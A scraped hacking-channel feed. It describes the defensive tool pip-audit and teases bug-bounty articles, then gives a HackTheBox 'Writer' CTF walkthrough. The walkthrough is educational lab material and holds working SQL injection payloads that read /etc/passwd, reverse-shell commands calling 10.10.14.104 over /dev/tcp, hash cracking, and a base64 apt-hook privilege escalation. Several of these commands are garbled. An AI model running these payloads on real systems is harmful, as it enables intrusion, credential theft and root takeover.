Pip-Audit - Audits Python Environments And Dependency Trees For Known Vulnerabilities
http://www.kitploit.com/2022/01/pip-audit-audits-python-environments.html

___________________________
@hacking_Attack
@Hacking_Video

pip-audit is a tool for scanning Python environments for packages with known vulnerabilities. It uses the Python Packaging Advisory Database (https://github.com/pypa/advisory-db) via the PyPI JSON API (https://warehouse.pypa.io/api-reference/json.html) as a source of vulnerability (https://www.kitploit.com/search/label/Vulnerability) reports. This project is developed by Trail of Bits (https://www.trailofbits.com/) with support from Google. This is not an official Google product.
Features Support for auditing local environments and requirements-style files Support for multiple vulnerability services (PyPI (https://warehouse.pypa.io/api-reference/json.html#known-vulnerabilities), OSV (https://osv.dev/docs/)) Support for emitting SBOMs (https://en.wikipedia.org/wiki/Software_bill_of_materials) in CycloneDX (https://cyclonedx.org/) XML or JSON Human and machine-readable output formats (columnar, JSON) Seamlessly reuses your existing local pip caches Installation pip-audit requires Python 3.6 or newer, and can be installed directly via pip: python -m pip install pip-audit Third-party packages In particular, pip-audit can be installed via conda: conda install -c conda-forge pip-audit Third-party packages are not directly supported by this project. Please consult your package manager's documentation for more detailed installation guidance. Usage You can run pip-audit as a standalone program, or via python -m: pip-audit --help
python -m pip_audit --help requirements file; this option can be used multiple times (default: None) -f FORMAT, --format FORMAT the format to emit audit results in (choices: columns, json, cyclonedx-json, cyclonedx-xml) (default: columns) -s SERVICE, --vulnerability-service SERVICE the vulnerability service to audit dependencies against (choices: osv, pypi) (default: pypi) -d, --dry-run collect all dependencies but do not perform the auditing step (default: False) -S, --strict fail the entire audit if dependency collection fails on any dependency (default: False) --desc [{on,off,auto}] include a description for each vulnerability; `auto` defaults to `on` for the `json` format. This flag has no effect on the `cyclonedx-json` or `cyclonedx-xml` formats. (default: auto) --cache-dir CACHE_DIR the directory (https://www.kitploit.com/search/label/Directory) to use as an HTTP cache for PyPI; uses the `pip` HTTP cache by default (default: None) --progress-spinner {on,off} display a progress spinner (default: on) --timeout TIMEOUT set the socket timeout (default: 15) --path PATHS restrict to the specified installation path for auditing packages; this option can be used multiple times (default: []) -v, --verbose give more output; this setting overrides the `PIP_AUDIT_LOGLEVEL` variable and is equivalent to setting it to `debug` (default: False)">usage: pip-audit [-h] [-V] [-l] [-r REQUIREMENTS] [-f FORMAT] [-s SERVICE]
[-d] [-S] [--desc [{on,off,auto}]] [--cache-dir CACHE_DIR]
[--progress-spinner {on,off}] [--timeout TIMEOUT]
[--path PATHS] [-v]

audit the Python environment for dependencies with known vulnerabilities

optional arguments:
-h, --help show this help message and exit
-V, --version show program's version number and exit
-l, --local show only results for dependencies in the local
environment (default: False)

___________________________
@hacking_Attack
@Hacking_Video

-f FORMAT, --format FORMAT
the format to emit audit results in (choices: columns,
json, cyclonedx-json, cyclonedx-xml) (default:
columns)
-s SERVICE, --vulnerability-service SERVICE
the vulnerability service to audit dependencies
against (choices: osv, pypi) (default: pypi)
-d, --dry-run collect all dependencies but do not perform the
auditing step (default: False)
-S, --strict fail the entire audit if dependency collection fails
on any dependency (default: False)
--desc [{on,off,auto}]
include a description for each vulnerability; `auto`
defaults to `on` for the `json` format. This flag has
no effect on the `cyclonedx-json` or `cyclonedx-xml`
formats. (default: auto)
--cache-dir CACHE_DIR
the directory to use as an HTTP cache for PyPI; uses
the `pip` HTTP cache by default (default: None)
--progress-spinner {on,off}
display a progress spinner (default: on)
--timeout TIMEOUT set the socket timeout (default: 15)
--path PATHS restrict to the specified installation path for
auditing packages; this option can be used multiple
times (default: [])
-v, --verbose give more output; this setting overrides the
`PIP_AUDIT_LOGLEVEL` variable and is equivalent to
setting it to `debug` (default: False)
Exit codes On completion, pip-audit will exit with a code indicating its status. The current codes are: 0: No known vulnerabilities (https://www.kitploit.com/search/label/Known%20Vulnerabilities) were detected. 1: One or more known vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) were found. Examples Audit dependencies for the current Python environment: $ pip-audit
No known vulnerabilities found
Audit dependencies for a given requirements file: $ pip-audit -r ./requirements.txt
No known vulnerabilities found
Audit dependencies for the current Python environment excluding system packages: $ pip-audit -r ./requirements.txt -l
No known vulnerabilities found
Audit dependencies when there are vulnerabilities present: $ pip-audit
Found 2 known vulnerabilities in 1 packages
Name Version ID Fix Versions
---- ------- -------------- ------------
Flask 0.5 PYSEC-2019-179 1.0
Flask 0.5 PYSEC-2018-66 0.12.3
Audit dependencies including descriptions: $ pip-audit --desc
Found 2 known vulnerabilities in 1 packages
Name Version ID Fix Versions Description
---- ------- -------------- ------------ -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------
Flask 0.5 PYSEC-2019-179 1.0 The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656.
Flask 0.5 PYSEC-2018-66 0.12.3 The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vulnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083.

___________________________
@hacking_Attack
@Hacking_Video

Audit dependencies in JSON format: $ pip-audit -f json | jq
Found 2 known vulnerabilities in 1 packages
[
{
"name": "flask",
"version": "0.5",
"vulns": [
{
"id": "PYSEC-2019-179",
"fix_versions": [
"1.0"
],
"description": "The Pallets Project Flask before 1.0 is affected by: unexpected memory usage. The impact is: denial of service. The attack vector is: crafted encoded JSON data. The fixed version is: 1. NOTE: this may overlap CVE-2018-1000656."
},
{
"id": "PYSEC-2018-66",
"fix_versions": [
"0.12.3"
],
"description": "The Pallets Project flask version Before 0.12.3 contains a CWE-20: Improper Input Validation vulnerability in flask that can result in Large amount of memory usage possibly leading to denial of service. This attack appear to be exploitable via Attacker provides JSON data in incorrect encoding. This vu lnerability appears to have been fixed in 0.12.3. NOTE: this may overlap CVE-2019-1010083."
}
]
},
{
"name": "jinja2",
"version": "3.0.2",
"vulns": []
},
{
"name": "pip",
"version": "21.3.1",
"vulns": []
},
{
"name": "setuptools",
"version": "57.4.0",
"vulns": []
},
{
"name": "werkzeug",
"version": "2.0.2",
"vulns": []
},
{
"name": "markupsafe",
"version": "2.0.1",
"vulns": []
}
]
Security Model This section exists to describe the security assumptions you can and must not make when using pip-audit. TL;DR: If you wouldn't pip install it, you should not pip audit it. pip-audit is a tool for auditing Python environments for packages with known vulnerabilities. A "known vulnerability" is a publicly reported flaw in a package that, if uncorrected, might allow a malicious actor to perform unintended actions. pip-audit can protect you against known vulnerabilities by telling you when you have them, and how you should upgrade them. For example, if you have somepackage==1.2.3 in your environment, pip-audit can tell you that it needs to be upgraded to 1.2.4. You can assume that pip-audit will make a best effort to fully resolve all of your Python dependencies and either fully audit each or explicitly state which ones it has skipped, as well as why it has skipped them. pip-audit is not a static code analyzer. It analyzes dependency trees, not code, and it cannot guarantee that arbitrary dependency resolutions occur statically. To understand why this is, refer to Dustin Ingram's excellent post on dependency resolution in Python (https://dustingram.com/articles/2018/03/05/why-pypi-doesnt-know-dependencies/). As such: you must not assume that pip-audit will defend you against malicious packages. In particular, it is incorrect to treat pip-audit -r INPUT as a "more secure" variant of pip-audit. For all intents and purposes, pip-audit -r INPUT is functionally equivalent to pip install -r INPUT, with a small amount of non-security isolation to avoid conflicts with any of your local environments. Licensing pip-audit is licensed under the Apache 2.0 License. pip-audit reuses and modifies examples from resolvelib, which is licensed under the ISC license. Contributing See the contributing docs (https://github.com/trailofbits/pip-audit/blob/main/CONTRIBUTING.md) for details. Code of Conduct Everyone interacting with this project is expected to follow the PSF Code of Conduct (https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md).

Download Pip-Audit (https://github.com/trailofbits/pip-audit)

___________________________
@hacking_Attack
@Hacking_Video

Extreme Hacking Mindset

How to dominate in bug bountiesContinue reading on Medium »
Read more...

Top 25 Server-Side Request Forgery (SSRF) Bug Bounty Reports

In this article, we will discuss the Server-Side Request Forgery (SSRF) vulnerability, and present 25 disclosed reports based on this flaw.Continue reading on Medium »
Read more...

Hacking Articles|Raj Chandel's Blog
Writer HackTheBox Walkthrough

Writer HackTheBox WalkthroughIntroductionWriter is a CTF Linux box with difficulty rated as “medium” on the HackTheBox platform. The machine covers SQL injection vulnerability and privilege escalation using SMTP.Table of ContentEnumeration· Directory enumeration to find admin pageExploitation· Exploiting UNION based SQLi to get essential information about python based webserverPrivilege Escalation· Escalating from www-data to Kyle by cracking hashes in databaseNetwork ScanningThe dedicated IP address of the machine is 10.10.91.172. We’ll run a nmap scan on this machine’s IP.nmap -A 10.129.170.230Open ports were:EnumerationThere was a website running on port 80gobuster dir -w /home/kali/seclists/Discovery/Web-Content/directory-list-2.3-medium.txtWe found an interesting directory called administrativeExploitationRight away we tried logging in using SQL injection payload uname=admin' union select 1,2,3,4,5,6 -- &password=adminhttps://blogger.googleusercontent.com/img/a/AVvXsEiAV7NQ9lBpTfOjvTZwgfWlcw1U4LJUdSee7wLhPDWAoMvE3XZ4fpPyOP4ZbZi7rzZXb4ZuBlFfpnoIOzxPLQWKWr2ZB0BkxrNj5O9APETz0w7V0NfTTNAQx9oFGl6ue0AIo1zWdx584pD42nuOgUEvTJcBnhuMAoR_WE3y9NPl0d_IQoiLyZTtStyqrw=s16000 We can see the active database’s name by changing the second column by database() in the payload. As you can see, the active database is “writer”uname=admin' union select 1,database(),3,4,5,6 -- &password=adminhttps://blogger.google[...]

___________________________
@hacking_Attack
@Hacking_Video

usercontent.com/img/a/AVvXsEiU6cl5ly1H1bBaaP0HoyGFu3GFqoz3DtI72GHi9P8iDp1ag0G6-1igZNyJp99vKdZlY-wEtFsGS1fOxUXS3hpczUy-ZPBqnkChDtoc58mtclrv-krXIKEna-s0gDTlgPFxEgegXEOGylHRg3RigB3FdpWvzexgfdFmU950wVQ4nApaYbl1y1kKaP5tTA=s16000 Similarly, we can read the /etc/passwd file and try to learn what all users exists.uname=admin' union select 1,load_file("/etc/passwd"),3,4,5,6 -- &password=adminhttps://blogger.googleusercontent.com/img/a/AVvXsEiAyDpDEVcaXev2FIWhSSxrb6ZULX5txypAqQ2rhCQWnI3RZPxxIU8eN65TnY8NMHUqNnPsx6aHox-VOqYd23zwePKVP35jqjIWY05GlDp5rY8IF1730Fj97XordtHyJxqY1tbllL7V4aEAryqkfSTQbNEP-fI4BrPXMoDcHperohGCl04tRTezsZK2ow=s16000 This gave us an insight into the system. It of course was running Apache web server so we looked at 000-default.conf file that includes absolute path of the website. Here, we found a wsgi present which means that a python based webserver (Django or Flask) was running on the webserver.uname=admin' union select 1,load_file("/etc/apache2/sites-enabled/000-default.conf"),3,4,5,6 -- &password=adminsmbmap -H 10.129.170.230 -u "kyle" -p "ToughPasswordToCrack"https://blogger.googleusercontent.com/img/a/AVvXsEiLNZ2KoP621-LYKBscYWircW9uAs3gq2AYY1V5S0JH5_MML_aSrWe1zCNpDIQp8hESp4ajefacrvaophZTEiA0yHjiixufGmG1xmPFAZvYJGzIoSwYumFtyDxqLI8p7WnxxOgrzoo-O2NR7gB8NA6My2pC7eGO4XqVNwmmXFNwrSGP13-etvUHGB1N5w=s16000 Logically, whatever is in views.py should be rendered by the website. Hence, if we add a simply python one liner, it would be rendered by the website too. That’s precisely what we did. We added the following code in views.pyimport os& /dev/tcp/10.10.14.104/1234 0>&1"')https://blogger.googleusercontent.com/img/a/AVvXsEiqoTz-nxKnLTm5okqOMeVDFMKwZ49jbbsbdpwQEVTIkvbP37pZKVwIwtjHlkMmrMiK8038JsLGqbVGYja70DHhauAkU_FgWuXgmXGgJeN6qWiKzxyzNvUsagxqFDxg6dTfuysZhn1gxW4n3p62aGS1GbhYnIm_b3inoaKJLYQcz7vvRZnM6D0PKakt6w=s16000 Thereafter, we replaced this views.py with the original one using put command in the SMB share___________________________
@hacking_Attack
@Hacking_Video

de and gave the website a refresh. We had received a reverse shell!Post ExploitationThe manage.py file in Django is used to communicate with a website’s files and perform functions such as run server and migrate changes. However, dbshell command is used to communicate with the website’s database. So after a bit exploring we found a hashed credential in auth_user table.python3 manage.py dbshellhttps://blogger.googleusercontent.com/img/a/AVvXsEiso-v7dWgQtmqMM7EEckAJZqHkukPP2Z2qVmPRgC3yRi95P_SR6sDg4dJmFRHxDnfJSi4QGz2uMtUSvamo3o1yHKXvs1e_ZtyNNMCb1BB266wzZZMf4nad79RM-KWEYN4H3xxcQmPlgas80XSeUVrFXcMWd73eUq_JNZVeiP1pGa2ov2kPhQ9WFud_NQ=s16000 We took this cred and ran it with hashcat using rockyou.txt wordlisthashcat -m 10000 hash rockyou.txthttps://blogger.googleusercontent.com/img/a/AVvXsEhiLXTQSXcgl0zpDJhjlqU8v1-d8_jU_eTPnptq71mfht79bTrETtEHGxelXQjLAuIGVIVcJHrMqi9R1cTOgSap8jruwEZtjdCyPZX02tVcHqm2QER89t01XaVegKyeGXfc1uJL3HOABr0jSAbYXPdLJainKNRcZ4LbsbOidmceBZb6cN90LEq9WuPM-A=s16000 The password came out to be: marcoantoniofind / -group filter 2>/dev/nullhttps://blogger.googleusercontent.com/img/a/AVvXsEgoG6xZqedvffARJwAj_Wc45pGGiWDFRQj0sZmlfH5UdvulIGuEUKkY0vG6Ig8kks5axeVMG129m4Py8kCU9vPu6lmFFi7d5X-jd02T0SJ-6ly6IEfcDBKkl9kZF0tvFPfP-wB6iIReWehXE-svkgtQ-Wkpmcj4XHfITMNHlCSL_t2xRwN9-75hwHjTFg=s16000 Now, since this disclaimer would be automatically added to every e-mail, we can overwrite this file with our reverse bash code and send a simple testing e-mail to john using netcat. The following payload does the said thing.echo "bash -c 'bash -i &>/dev/tcp/10.10.14.104/5555 0>&1'" > /etc/postfix/disclaimer && echo -e "HELO writer.htb\nMail From:kyle@writer.htb\nRCPT To: john@writer.htb\nData\nTo: john@writer.htb\nFrom: kyle@writer.htb\nSubject: Testing\nTesting\n." | nc localhost 25https://blogger.googleusercontent.com/img/a/AVvXsEjMMaZjzX0qbhvhAsS9CNYlaW5zpKoKeM2ULUHTICgGDyu0CsrxLWl0ilmwZ0hcsAJz-8ZM3-PVmsFVOLpCN7-tyiWPq8YPDVrybxArz00A13U6ogUCzKonKMqhg2DGk3-CqVREDwPzcXZimxlm8rNN0aJFOngkTkqyv_TwRRVLarodGB-mCpQ-EKvllQ=s16000 And on our listener set up on port 5555 we see user john’s shell! We just wanted to get a more stable shell so we copied the private SSH key. chmod 600 key/dev/nullhttps://blogger.googleusercontent.com/img/a/AVvXsEg7xEH-y6JRgr8ayapkhzDP4etXTljKn2z5md3MCWn[...]

___________________________
@hacking_Attack
@Hacking_Video

2mbFQQ6Me79UJVYkt1oTxGarVEwiTfzys3FyszgvhYWGjKPdi3xM-2eC_KJNQY_kVM62LmCDwhRzB_fyq-fqjfo4ltbQPIi_FO3buOPHzNrtgpM4Anj8E_3RMl39r1SAL1oy6JLz8RoCUtBHitQ=s16000 Upon inspecting a bit more, we found that apt-get was running as a cron job. Hence, we will follow our article here and use apt-get to escalate ourselves to root. The payload that we are using inside Pre-Invoke is this: /bin/bash -c chmod 4777 /bin/bashecho 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICJjaG1vZCA0Nzc3IC9iaW4vYmFzaCIK | base64 -d | bash"};' > /etc/apt/apt.conf.d/000-shellYou can see that bash has SUID bit set now! We’ll just launch it using -p option now and read the congratulatory flag as we are now root!/bin/bash -phttps://blogger.googleusercontent.com/img/a/AVvXsEj9tRr8q_bS_gk5HFIcKJtJgDHAN16ZGzONAwQyr7RFr95dtZ4iqNzDwNLqgZT7lhMmzhuGqxIlTfbBAXE9aCgufdOAVAsU25_k0PpxbS2VKtghMpIsy1b-9C6Iwc9p6eulPCQ1EequVPDIjZ2cfAYhlugYtGXi96chWsTVu4PH8nMhKUPPmTKVGq1X5w=s16000 Hence, this is how we rooted the box writer. Hope you enjoyed our approach. Thanks for reading!___________________________
@hacking_Attack
@Hacking_Video

Top 25 Server-Side Request Forgery (SSRF) Bug Bounty Reports
https://corneacristian.medium.com/top-25-server-side-request-forgery-ssrf-bug-bounty-reports-136928356eca?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

In this article, we will discuss the Server-Side Request Forgery (SSRF) vulnerability, and present 25 disclosed reports based on this flaw.Continue reading on Medium » (https://corneacristian.medium.com/top-25-server-side-request-forgery-ssrf-bug-bounty-reports-136928356eca?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How I messed up my own profile data
https://medium.com/@himmat1005/how-i-messed-up-my-own-profile-data-94a4b09cb54c?source=rss------bug_bounty-5

Just wanted to share one of my experience which I had while testing one of the web application. I will be brief so that I do not waste…Continue reading on Medium » (https://medium.com/@himmat1005/how-i-messed-up-my-own-profile-data-94a4b09cb54c?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

The OAuth Misconfiguration
https://www.reddit.com/r/redteamsec/comments/s7qflp/the_oauth_misconfiguration/

submitted by /u/banginpadr (https://www.reddit.com/user/banginpadr)
[link] (https://infosecwriteups.com/the-oauth-misconfiguration-15e66dd19a6e) [comments] (https://www.reddit.com/r/redteamsec/comments/s7qflp/the_oauth_misconfiguration/)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Pip-Audit - Audits Python Environments And Dependency Trees For Known Vulnerabilities

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is an SQL injection and how to save yourself from it?

Data is everywhere. The world is producing and storing more data than ever. SQL is a database and is a very common tool to store data…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video